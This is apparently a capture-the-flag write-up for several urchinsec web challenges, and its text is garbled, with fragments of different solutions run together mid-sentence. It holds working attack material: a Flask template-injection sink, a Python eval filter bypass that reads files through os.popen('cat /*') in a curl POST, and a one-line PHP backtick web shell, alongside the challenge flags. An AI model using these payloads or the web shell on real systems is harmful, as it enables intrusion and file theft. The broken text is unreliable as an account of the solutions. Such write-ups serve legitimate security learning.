Hack. Eat. Sleep. Repeat!!!
Server Side Template Injection and the code detailed below shows the sink.@app.route('/<username>/note/<id>/comment', methods=['GET'])
def get_comments_note(username, id):
note = Note.query.filter_by(id=id).first()
if note is not None:
# check if username inserted matches the note
if note.username == username:
return render_template_string(note.comment)
else:
return abort(403)
else:
return abort(404)
/<username>/note/<id>/comment takes in the comment key retrieved from the note variable and passes it to render_template_string which is vulnerable to the sink.The note’s variable is from the POST parameters filled in the index page.The main point to pass the payload is the comment input box.@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
return render_template('index.html')
elif request.method == 'POST':
username = request.form.get('username')
title = request.form.get('title')
description = request.form.get('description')
comment = request.form.get('comment')
user_ip = request.remote_addr
curl.urchinsec{W3_KEEP_NOTES_SAfe_f0r_ouR_S3cr3t_r3cipesss}eval() in python but some special keywords are filtered.7*7 and got the value 49 which signifies that my deductions are accurate.import to import modules but I noticed that the author blacklisted it.eval("__IMPORT__".lower()) which worked because the filter is not case sensitive and picks only import in lowercase and not in uppercase.I passed the uppercase import to the lower() to convert it to lowercase which is evaluated later with the eval() function.You can see below that we’ve successfully called the import function.os.popen to read the flag.Final Payload-:curl https://urchinsec-pyrison.chals.io/test/trick -X POST -d "query=eval('__IMPORT__'.lower())('os').popen('cat /*').read()"
urchinsec{H3r3_we_go_again_byp4ssing_evals_f0rFUN}Server Side Template Injection because of the render_template_string() functionurchinsec{9_SSTI}command-injection because php execute any code between backticks as system commands.<?=`$_GET[0]`?>
urchinsec{command_injection}sql_injection, an attacker can close the first statement and execute an arbitrary statement.urchinsec{15_sql_injection}